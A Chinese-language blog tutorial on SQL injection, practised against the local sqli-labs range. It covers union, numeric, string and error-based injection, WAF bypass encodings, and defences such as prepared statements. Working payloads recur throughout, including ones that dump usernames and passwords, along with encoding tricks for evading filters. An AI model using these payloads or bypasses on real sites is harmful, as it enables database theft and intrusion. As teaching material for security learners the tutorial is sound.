sql注入---入門到進階

0x 引言

學習並做了一段時間的網絡滲透,給我直觀的感受就是思路問題,滲透不像技術研究,只需要對一個點進行研究,滲透涉及的方面太多太多,遇到問題後不能從單方面找問題,而是要從多個方面思考,尤其是面對一些漏洞時的解決問題時,首先要掌握這個漏洞產生的原理,要看出其中的錯誤之處,然後再想考爲什麼會錯誤,看問題到底出在哪裏,然後思考的滲透思路,只要思路正確,有足夠有耐心,總會有所突破。以下是我在這段時間內對sql注入漏洞的探索及對其的思路理解,內容純手寫,很詳細,對新手幫助很大,請耐心看完!謝謝



建議配合sqli-labs食用

目錄快速導航

什麼是sql注入 sql注入的分類、驗證及利用方式
sql注入的原理 聯合查詢注入
sql注入的條件 sql數值型注入
sql注入的危害 sql數值型注入的檢測方式
sql注入的繞過 sql數值型注入的利用方式
sql注入的防禦 sql字符型注入
sql盲注 sql字符型注入的檢測方式
時間盲注 sql字符型注入的利用流程
sql報錯型注入

什麼是sql注入?

攻擊者利用Web應用程序對用戶輸入驗證上的疏忽,在輸入的數據中包含對某些數據庫系統有特殊意義的符號或命令,讓攻擊者有機會直接對後臺數據庫系統下達指令,進而實現對後臺數據庫乃至整個應用系統的入侵,對於sql注入可以把它歸爲一句話:所謂的sql注入就是通過某種方式將惡意的sql代碼添加到輸入參數中,然後傳遞到sql服務器使其解析並執行的一種攻擊手法


sql注入的原理:

概述:針對SQL注入的攻擊行爲可描述爲:在與用戶交互的程序中(如web網頁),非法用戶通過可控參數注入SQL語法,將惡意sql語句輸入拼接到原本設計好的SQL語句中,破壞原有SQL語法結構,執行了與原定計劃不同的行爲,達到程序編寫時意料之外結果的攻擊行爲,其本質就是使用了字符串拼接方式構造sql語句,並且對於用戶輸入檢查不充分,導致SQL語句將用戶提交的非法數據當作語句的一部分來執行,從而造成了sql注入

有關sql注入產生的原理要滿足以下條件:

  1. 程序編寫者在處理程序和數據庫交互時,使用了字符串拼接的方式構造SQL語句
  2. 不安全的數據庫配置,比如對查詢集不合理處理,對sql查詢語句錯誤時不當的處理,導致其錯誤信息暴露在前端
  3. 過於信任用戶在前端所輸入的數值,沒有過濾用戶輸入的惡意數據,且未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中,直接把用戶輸入的數據當做SQL語句執行,從而影響數據庫安全和平臺安全


sql注入的條件:

  1. 用戶對sql查詢語句參數可控
    比如這是一條前端URL:https://blog.csdn.net/aboutus.php?id=1
    其後臺sql語句:$sql=“SELECT 123 FROM abc WHERE id='1 '" 這條語句是採用拼接方式去對數據庫內容進行查詢的,而且並未對用戶在前端輸入的內容做過濾,並且用戶對id這個參數可控,本來程序員設計這條查詢語句是希望通過它去快速查詢數據庫中abc表的某個內容並且回顯到前端頁面來的,但是攻擊者通過單引號' 閉合數據庫查詢語句,並且構造這樣的惡意url:https://blog.csdn.net/aboutus.php?id=-1 ' select password from admin#去查詢admin 用戶的密碼,而非查詢預先程序員所設計好的數據內容。關於更詳細的原理及手工測試可參考我的另一篇博客

傳送門

  1. 原本程序要執行的SQL語句,拼接了用戶輸入的惡意數據


sql注入的危害:

  • 數據庫信息泄漏:數據庫中存放的用戶的隱私信息的泄露,脫取數據庫中的數據內容(脫庫),可獲取網站管理員帳號、密碼悄無聲息的進行對網站後臺操作等。
  • 網頁篡改:通過操作數據庫對特定網頁進行篡改,可嚴重影響正常業務進行。
  • 網站被掛馬:將惡意文件寫入數據庫,修改數據庫字段值,嵌入網馬鏈接,進行掛馬攻擊。
  • 數據庫被惡意操作:數據庫服務器被攻擊,數據庫的系統管理員帳戶被竄改。
  • 文件系統操作:列取目錄、讀取、寫入shell文件獲取webshell,遠程控制服務器,安裝後門,經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。
  • 執行系統命令:遠程命令執行,可破壞硬盤數據,癱瘓全系統。

sql數值型注入

概述:當輸入sql語句的參數爲整形時,如果存在注入漏洞,可以認爲是數字型注入,多存在於id,年齡,頁碼等地方

檢測方式:

URL輸入 and 1=1 / and 1=2 回顯頁面不同(整形判斷)

例如以sqli-labs 靶場爲例,and 1=1,語句邏輯正常,所以頁面沒有異常,接着我們嘗試用 and 1=2 試試,看看頁面是否會發生異常
在這裏插入圖片描述
不難看出,當我構造and 1=2時,頁面發生異常,我們都知道,1是等於1的,這是正常的邏輯,但1=2時,我們會很自然會覺得它是錯的,因爲1是不可能等於2的,這是很明顯的邏輯錯誤,相同的,數據庫也是人開發出來的,也被設計爲這個理念,當數據庫遇到邏輯上的錯誤時,無法進行數據查詢,這也就無法正常的把查詢後的數據回顯到前端頁面來,前端由於接收不到數據庫傳輸過來的數據,所以頁面也就會產生異常了
在這裏插入圖片描述

當我們在URL參數後面構造 and 1=1 正常 and1=2頁面錯誤,基本可以確定是數字型注入了

因爲當我們輸入 and 1=1時,後臺執行 Sql 語句:

如:select * from <表名> where id = x and 1=1

沒有語法錯誤且邏輯判斷爲正確,所以返回正常。

當輸入 and 1=2時,後臺執行 Sql 語句:

select * from <表名> where id = x and 1=2

語句被帶進數據庫進行查詢,雖然沒有語法錯誤但是邏輯判斷爲假,所以返回錯誤,這時候我們就可以基本確定頁面存在sql注入。


sql數值型注入利用方式

當我們確定頁面存在顯示位,接着我們可通過構造聯合查詢進行注入
聯合查詢的優點:查詢方便 速度很快,缺點 必須要有顯示位

如這是一條後臺語句:$sql=“SELECT * FROM users WHERE id=1 LIMIT 0,1”;

如果後臺語句是:GET_id=$id這樣子傳

那麼 ?id=1 1就是$id 裏面的值 這時候要注入可以這樣

  ?id=1 然後在id的後面構造攻擊語句  
  如?id=-1 union select 1,2,3,4 --+    // 這條語句的作用是聯合查詢第1,2,3,4列, 空格--+的作用是註釋後面的內容,負號是爲了讓前面的聯合查詢產生錯誤,從而使用後面的聯合查詢語句

具體的攻擊流程有以下幾步:

1.判斷注入點
加and 1=1 頁面正常,and 1=2 頁面異常或者報錯,如果頁面報錯,說明後臺數據庫處理了我們輸入的數據,那麼能極有可能存在數值型sql注入

2.猜字段數

未編碼前:http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4#
編碼後:http://127.0.0.1/sqli-labs/Less-2/?id=1%20order%20by%204#

其中URL中的%20是空格,因爲我們通過URL輸入網址訪問網址時,瀏覽器會對URL進行編碼處理,#號爲註釋

在URL鏈接後面添加語句order by 4 (數字任意,主要是爲了確定字段數,可使用二分法猜測),根據頁面返回結果,來判斷站點頁面中的字段數目,得知查詢結果中該頁面不存在四列,所以頁面也就報錯了
在這裏插入圖片描述
然後再猜測字段數爲3,頁面回顯正常,確定字段數爲3
在這裏插入圖片描述
3.確定顯示位

進行聯合查詢判斷顯示位時,要在?id=1 1的前面加-號或者改爲0讓前面的select語句查詢爲空錯誤,然後採用後面的select語句去查詢

我們可以這樣子:

?id=-1 union select 1,2,3 --+ 這樣子就可以形成一條帶進數據庫的查詢語句了
聯合查詢要構造假的 所以1前面一定要加-號,或者是?id=1 and 1=2 構造前面的查詢語句錯誤,繼而使用後面的select語句,因爲有兩條select語句,要用-號或者把1改爲0把前面的註釋掉
就是有兩條select查詢一句,要前面的那條錯誤無法使用,後面的注入一句才能顯示這樣子
當前面的id=1錯誤會執行後面的id=2,二後面的id=2錯誤會執行前面的id=1

下圖很清晰的詮釋了該過程
在這裏插入圖片描述
或者=0也行
在這裏插入圖片描述
所以,如果注入頁面沒有反應,無論是字符型還是數字型,都可以在前面加-號或者改爲0試試

4.通過顯示位進行信息收集

比如:?id=-1’ union select 1,2,3 --+,然後頁面顯示2,2就是顯示位,可以在2處去構造攻擊語句
URL地址欄裏的註釋要用 --+
我們可以利用內置函數暴數據庫信息,詳細的sql內置函數可以參考我的另一篇博客,裏面詳細的記錄了常用的sql函數及常用sql注入payload 語句

傳送門

比如我經常蒐集的數據庫信息,可以參考一下
1.找一下數據庫名,當前的登錄用戶(是不是root),如果爲root的話,且知道我在個絕對路徑,可以直接通過select 語句寫入一句話get shell
2.查看數據庫的版本,看一下是不是大於5.0版本的,如果大於的話,
就可以利用系統自帶的庫,information_schema 這個庫去查詢需要的數據了,存儲着mysql的所有數據庫和表結構信息
3.查看數據庫的運行系統,是linux還是windows,然後再查看數據庫的安裝路徑

下面舉一個小栗子

http://127.0.0.1/sqli-labs/Less-2/?id=-1%20union%20select%201,database(),user()#

通過在顯示位構造惡意語句可以對數據庫進行非法的操作,如數據查詢,寫入文件,脫褲(脫庫)等危險操作,這也是爲什麼sql注入普遍被評爲高危漏洞的緣故了
在這裏插入圖片描述

5.數據收集
可通過聯合查詢進行對數據庫數據查詢

常用語句

查詢當前數據庫所有表,並且拼接在一行顯示--多個字段的,如3,不爲顯示位,2爲顯示位,這時候from查詢
要空格後放在最後面的字段,接着記得加註釋,常用的有#
group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查詢當前數據庫users中表所有字段,並且拼接在一行顯示
group_concat(column_name) from information_schema.columns where table_name='users' --+
查詢當前數據庫users中表username和password字段中的信息,並且拼接在一行顯示
union select 1,group_concat(username,0x3a,password),3 from users--+

更多的注入查詢語句可參考傳送門
group_concat(table_name) 要放在顯示位 如果是多個字段,from查詢要空格後放在最後面的字段,不然會報錯!!

小栗子
比如:查詢當前數據庫所有表,並且拼接在一行顯示

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

在這裏插入圖片描述
同理,我們可以繼續構造語句來進行對數據庫內數據進行查詢或者寫入操作



字符型sql注入

概述:當輸入的參數爲字符串時,稱爲字符型。字符型和數字型最大的一個區別在於,數字型不需要單引號或其它特殊符號來閉合,而字符串一般需要通過特殊符號,如單引號來閉合的。

檢測方式:

如這是一條後臺語句:$sql="SELECT * FROM users WHERE id='1 ' LIMIT 0,1"
可以看出,id被單引號包裹住
如果後臺語句是:GET_id=’$id’這樣子傳

在這裏插入圖片描述
那麼 ?id=’1’ 1就是$id 裏面的值 這時候要注入可以這樣

  ?id=' 1 然後在id的引號裏面構造攻擊語句 '
  如http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+   
  在1 後面加單引號使其語句閉合,然後中間使用聯合查詢,接着再把聯合查詢後面的語句用 --+註釋掉

如在URL地址欄輸入?id=1' 這時候1後面的單引號把原本語句的一對單引號隔開了,變成了?id='1'',多出了一個單引號,正常來說,包裹着id變量的單引號是成對,這樣的語句結構沒有問題的,多出了一個單引號就報錯了破壞了原本的sql語句結構,並且這條語句被帶進數據庫進行查詢,數據庫由於無法處理這條 ‘非正常’ 的語句,所以也就報錯了,由於數據庫和前端頁面是交互的,所以前端頁面也會出現異常或者報錯,或者是程序員爲了開發時的調試開啓生產環境中 Webserver的錯誤顯示,導致數據庫端的錯誤回顯到了前端來了
在這裏插入圖片描述
但這時候,如果我們在1’後面加–+註釋掉它後面的單引號( ?id=’1 ‘ --+ ’),讓它語句後臺的語句一致,這樣子就不會報錯了,同理,也可用這個方法來驗證是不是屬於字符型sql注入

正常的URL:http://127.0.0.1/sqli-labs-master/?id=1
1左右是有單引號包裹住的 我們在URL欄輸入原本語句的單引號不會顯示,如果我們輸入的是這樣子:?id=1’ --+
而後臺會這樣子顯示 :id='1' --+'
所以我們可以這樣子 ?id=1' 這裏寫攻擊語句 --+’
本來id='1’是這樣子的
後來我們在id='1 在裏面插入語句 '#

如果我們輸入1’ 那麼id是這樣子的 id='1'' 這樣子語句就形成不了閉合了,會報錯,如果報錯了,證明這條語句成功被帶進數據庫查詢,存在字符型注入

這時候我們可以這樣子 id='1' --+ , 空格–+ 把後面的單引號註釋掉了,這樣子sql語句就會形成閉合


閉合方法

1.原來的基礎上再繼續輸入多一個引號,也就是 1'' --> '1' ''
如 $id=‘1’ ‘’ 把單引號湊成一對,形成語句的閉合(不推薦,推薦使用 --+或者#號註釋,因爲真實滲透環境太過複雜,'單引號不代表真正的註釋,只能是碰巧拿來閉合罷了,如果這條語句的後面還拼接着其它的語句,那麼將達不到預期的閉合效果!)

前端URL:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3'
後臺語句:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3'' LIMIT 0,1"

在這裏插入圖片描述

2.第二種方法是使用“#”符號來註釋後面的單引號
如 $id='1 '# ’ 形成閉合

前端URL:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3#
後臺語句:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3# LIMIT 0,1"

3.第三種方法是使用" – “或” --+",這裏注意了“ – ”後面有一個空格。在頁面輸入框注入,不能用空格–+ 要把後面的+也換爲空格在url當中,我們需要使用“+”來代替“–”後面的空格。

注意: 字符型注入,先探測語句的閉合方式,如果是單引號閉合的方式,那麼我們要加單引號進行閉合,接着注入語句後面要帶註釋,註釋掉預設好的sql語句後面的字符和及其它不需要的語句來達成注入語句的閉合,不然語法錯誤會一直報錯!
在頁面輸入框注入,不能用空格–+ 要把後面的+也換爲空格 但URL可以用 --+



sql字符型注入利用方式

後臺sql語句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
前端URL:http://127.0.0.1/sqli-labs/Less-3/?id=1

在1後面單引號、括號 使其語句閉合 然後加and 1=2讓前面的select查詢語句邏輯錯誤,使用後面的select語句 和id=-1同理

http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,database(),user() --+

在這裏插入圖片描述



報錯型sql注入

報錯注入的原理分析

SQL報錯注入就是利用數據庫的某些機制,人爲地製造錯誤條件,例如:後臺開啓了echo mysql_error() 輸出了錯誤信息,這時候我們可以使用多次查詢插入重複鍵值導致count報錯從而在報錯信息中帶入了敏感信息使得查詢結果能夠出現在錯誤信息中,通過這種方法,我們可以構造惡意語句讓數據庫回顯敏感信息到前端頁面來,這個方法在我們無法使用聯合查詢且前端能返回錯誤信息的情況下非常實用


MYSQL報錯注入的分類:

BIGINT等數據類型溢出
xpath語法錯誤
floor()報錯
列名重複報錯
參數不規範報錯


使用報錯注入的前提

1.頁面上沒有顯示位但是有sql語句執行錯誤信息輸出位。
2.開啓生產環境中 Webserver的錯誤顯示,如使用mysql_error()函數,可以返回上一個Mysql操作產生的文本錯誤信息。

常用報錯注入函數

1.extractvalue()

extractvalue(xml_frag,xpath_expr)函數接受兩個參數,第一個爲XML標記內容,也就是查詢的內容,第二個爲XPATH路徑,也就是查詢的路徑。如果沒有匹配內容,不管出於何種原因,只要 xpath_expr有效,並且 xml_frag由正確嵌套和關閉的元素組成 - 返回空字符串。不區分空元素的匹配和無匹配。但是如果XPATH寫入錯誤格式,就會報錯,並且返回我們寫入的非法內容

2.updatexml()

最常用的函數,而且比較好記,updatexml(xml_target,xpath_expr,new_xml)接受三個參數,此函數將XML標記的給定片段的單個部分替換爲xml_target新的XML片段new_xml,然後返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達式匹配。如果未xpath_expr找到表達式匹配 ,或者找到多個匹配項,則該函數返回原始 xml_targetXML片段。所有三個參數都應該是字符串。與extractvalue()類似,如果XPATH寫入錯誤格式,就會報錯,並且返回我們寫入的非法內容。

以上函數對mysql版本有要求,Mysql版本要大於5.0 以上才能使用

3.floor

floor(x),返回小於或等於x的最大整數


利用流程

以最常用的updatexml()函數來舉例
公式?id=1 and updatexml(1,concat(0x7e,(查詢的內容),0x7e),1)
提交內容?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

簡要說明這條公式的含義
?id=1 是可能存在URL的參數
and 是拼接符
updataxml()是函數
括號裏面的concat是用於連接兩個或多個數組,將其以拼接的方式輸出到前端頁面
0x7e是一個特殊符號 ~ 這是爲了區分報錯注入後的有用信息,因爲頁面報錯包含太多沒用信息

以sqli-labs爲例構造以下URL進行注入

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

1後面一定要加單引號(因站而異,只要頁面報錯即可),不然不報錯,如果不報錯,就是語句成功進去數據庫但是,也不會再頁面顯示我們也就拿不到我們需要的數據
在這裏插入圖片描述

接着我們參考公式,還可以構造下面URL進行對數據庫的注入

http://127.0.0.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(Select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+

公式?id=1 and updatexml(1,concat(0x7e,(查詢的內容),0x7e),1)

也就是往查詢內容處構造Select schema_name from information_schema.schemata limit 0,1
進行注入,更多的注入語句可以參考我的另一篇博客 點擊傳送
後面的limit 0,1 的含義就是從你的表中的第0個數據開始,只讀取一個,limit 0,1根據網站的實際情況而定,如果存在多列需要加上,例如該頁面只有一個顯示位,而在網站後臺存在多列數據的情況下一個顯示位顯示無法完整回顯會發生錯誤
如下圖:
在這裏插入圖片描述
加了limit 0,1的語句正常回顯
在這裏插入圖片描述


sql注入的繞過方法

數據庫作爲一個公司的核心數據存儲點,其所有信息都存儲在數據庫中,其主要性毋容置疑,且SQL注入也毫無疑問是最危險的Web漏洞之一,通過sql注入,我們可以隨意對公司的數據庫進行任意的增刪改查操作,如果是黑產分子,甚至是對數據庫進行脫庫,進行數據販賣,對此進行許多公司都會單獨爲數據庫實施Web應用程序防火牆和入侵檢測/預防系統來試圖保護自己數據隱私,但當這些安全軟/硬設備,都是人來編寫,而且其中往往是採用正則來進行過濾,攔截,這些對策往往是不充分的,並且很容易被繞過。

前言~

在對waf進行繞過時,我們首先需要知道waf到底過濾了什麼,只有摸清楚WAF是如何工作的,才能更好的進行繞過,比如是白名單和黑名單,還是隻攔截關鍵字,或是直接進行過濾去除,我們要根據頁面或者URL欄給出的反饋信息,在腦海中構建好攻擊繞過思路,唯有如此,我們才能更有效率的進行滲透測試
以sqli-labs靶場爲例,我們可以先用常用的sql注入語句,比如:http://127.0.0.1/sqli-labs/Less-25a/?id=1' and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+ ,通過頁面的回顯,我們可以的知後臺過濾了and關鍵字,既然我們知道它過濾了什麼,那麼我們就可以針對過濾的內容去構建合適的sql語句去繞過了在這裏插入圖片描述
常用的sql注入繞過方法

1、對於關鍵字的繞過

如對and進行過濾,我們可以嘗試:
1.對於and,or的繞過可以嘗試一下&&,||,異或特殊符號注入
2.使用註釋符繞過,比如: /*!and*/ uni/**/on se/**/lect
3.大小寫繞過: ANd UniOn SeleCt
4.雙關鍵字繞過:ununionion seselectlect
5.關鍵字替換(在關鍵字中間可插入將會被WAF過濾的字符) – 例如SELECT可插入變成a<nd,一旦插入字符被過濾,<它將作爲and傳遞。

空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/


2、大小寫混合

如果正則表達式只針對小寫或大寫的關鍵字進行匹配處理,那麼我們就可以通過改變攻擊字符串中字符的大小來規避它,因爲數據庫以不區分大小寫的方式處理SQL關鍵字

https://mp.csdn.net/index.php?id=-15 uNIoN sELecT 1,2,3,4 

主要針對正則表達式的規則對大小寫敏感進行過濾,但現在直接使用這種繞過技術成功的可能性已經不高了


3、替換關鍵字

這種情況下大小寫轉化無法進行繞過而且正則表達式會替換或刪除select、union這些關鍵字,那麼這時候我們可以先摸清楚後臺的過濾機制,然後針對正則過濾進行利用,如果select、union這些關鍵字只匹配一次就很容易利用雙寫關鍵字進行簡單的繞過

https://mp.csdn.net/index.php?id=-15  UNIunionON SELselectECT 1,2,3,4 

替換關鍵字同樣是很基礎的技術也可以構造得更復雜SeLSeselectleCTecT關鍵要看正則表達式會進行幾次匹配處理了


4.使用編碼

1.URL編碼
如在Chrome中輸入一個鏈接非保留字的字符瀏覽器會對其URL編碼如空格變爲%20、單引號%27、左括號%28、右括號%29

普通的URL編碼可能無法實現繞過,不過存在某種情況比如URL編碼只進行了一次解碼過濾,那麼這時候我們就可以用兩次URL編碼進行繞過

未編碼前:?id=-1' UNION SELECT 1,2,3,4 --+#
一次編碼後:?id=-1%27%20UNION%20SELECT%201,2,3,4%20--+#
二次編碼後:?id=-1%2527%2520UNION%2520SELECT%25201,2,3,4%2520--+#

可以看到經過二次URL編碼後,我們的鏈接已經跟未編碼前大不相同了,這時候,如果後臺針對一次編碼進行處理,那麼,我們就能利用這種方法進行繞過


2.十六進制編碼
如對後臺針對單引號或者關鍵字進行處理,那麼我們就可以使用16進制,把下面的**‘glbimreb21’**變爲0x676c62696d7265623231,就可以不需要單引號包裹着變量進行簡單的繞過了,在我們用 16進制進行繞過時,16進制前面要加0x!

轉換前:?id=-55' union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='glbimreb21' --+
轉換後:?id=-55' union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema=0x676c62696d7265623231--+

3、Unicode編碼
Unicode是一種行業標準,用於表示多種語言的110,000多個符號和字符。它可以用不同的字符編碼表示,Unicode有所謂的標準編碼和非標準編碼假設我們用的utf-8爲標準編碼那麼西歐語系所使用的就是非標準編碼了

看一下常用的幾個符號的一些Unicode編碼

單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

舉例:

?id=10%D6’%20AND%201=2%23

SELECT ‘Ä’=‘A’; #1

兩個示例中,前者利用雙字節繞過,比如對單引號轉義操作變成’,那麼就變成了%D6%5C’,%D6%5C構成了一個款字節即Unicode字節,單引號可以正常使用。

第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結果可能是True或者False,關鍵在於Unicode編碼種類繁多,基於黑名單的過濾器無法處理所以情況,從而實現繞過。


5、緩衝區溢出
緩衝區溢出用於對付WAF在內的軟件本身有不少WAF是C語言寫的而C語言自身沒有緩衝區保護機制因此如果WAF在處理測試向量時超出了其緩衝區長度就會引發bug從而實現繞過

舉例

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA後面”A"重複1000次一般來說對應用軟件構成緩衝區溢出都需要較大的測試長度這裏1000只做參考也許在有些情況下可能不需要這麼長也能溢出



sql注入的防禦措施

對於SQL注入的防禦,我們最常用的就是使用過濾用戶輸入的惡意語句,或者對其進行轉義等處理,但這些方法都不能完全的杜絕sql注入,就如使用過濾我們很容易就可以對它進行繞過,如使用註釋,編碼等方式,所以這些方法都不能從根源性防治sql注入,所以對於sql注入的防禦我把它歸爲下面三類防禦:

1.使用參數化查詢,檢查變量數據類型和格式

在使用參數化查詢的情況下,數據庫不會將參數的內容視爲SQL執行的一部分,而是作爲一個字段的屬性值來處理,這樣就算參數中包含破環性語句(or ‘1=1’)也不會被執行,也就是說用戶輸入的變量不是直接嵌入到SQL語句中的,而是通過參數來傳遞這個變量的,是在數據庫完成sql指令的編譯後才套用參數運行,那麼這樣就可以有效的防治SQL注入式攻擊
簡單的說: 參數化能防注入的原因在於,語句是語句,參數是參數,參數的值並不是語句的一部分,數據庫只按語句的語義跑,與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變量

2.採用sq語句預編譯和綁定變量

採用PreparedStatement對SQL進行了預編譯,如將sql語句:“ SELECT * FROM employees WHERE name = ?”預先編譯好,即sql引擎會預先進行語法分析,產生語法樹,生成執行計劃;這樣後面無論你輸入什麼參數,如(union,select)都不會影響該sql語句的語法結構了。

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
}

PreparedStatement爲什麼能防止SQL注入?
因爲PreparedStatement會對SQL進行了預編譯,預處理語句方法會先解析SQL語句,然後通過傳入不同的參數值來執行SQL,不需要每次執行都解析SQL語句,而且預處理查詢執行的路徑比常規查詢短,所以預處理語句方法效率更高;預處理語句在SQL語句解析協議上避免將參數當做SQL命令執行,僅僅當做值傳遞,所以可以很好的避免SQL注入。

3.增強SQL數據交互點的過濾處理

如不能採取使用參數化查詢和預編譯變量,那最好就是加強對SQL數據交互點的過濾

可參考以下關鍵字進行過濾:
每個提交信息的客戶端頁面,通過服務器端腳本(JSP、ASP、ASPX、PHP等腳本)生成的客戶端頁面,提交的表單(FORM)或發出的連接請求中包含的所有變量,必須對變量的值進行檢查。過濾其中包含的特殊字符,或對字符進行轉義處理。特殊字符包括:
SQL語句關鍵詞:如 and 、or 、select、declare、update、xp_cmdshell,union;
這裏舉例部分SQL關鍵字,需要更詳細的瞭解的可自行網上查資料

當然,sql注入還有更多的防範措施,可以配合上面三類再針對以下幾點進行防範

1.不要隨意開啓生產環境中 Webserver的錯誤顯示,這樣一是容易暴露網站的非公開信息,(如web根目錄),二是容易造成報錯注入,如非法入侵者可通過extractvalue、updataxml 等函數對網站進行報錯sql注入
2.做好數據庫帳號權限管理,只給訪問數據庫的web應用功能所需的最低權限帳號,不要隨意使用root賬號
3.嚴格加密處理用戶的機密信息,這樣就算攻擊者通過sql注入的到數據庫信息,短時間也無法進行解密讀取
4.使用WAF等專業的防護軟件系統,畢竟人力有限,總不可能24小時盯着數據庫等關鍵服務器,這時候,waf等防護硬軟件將會是我們的第一道防線

更新中,未完待續…
2019.10.16

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章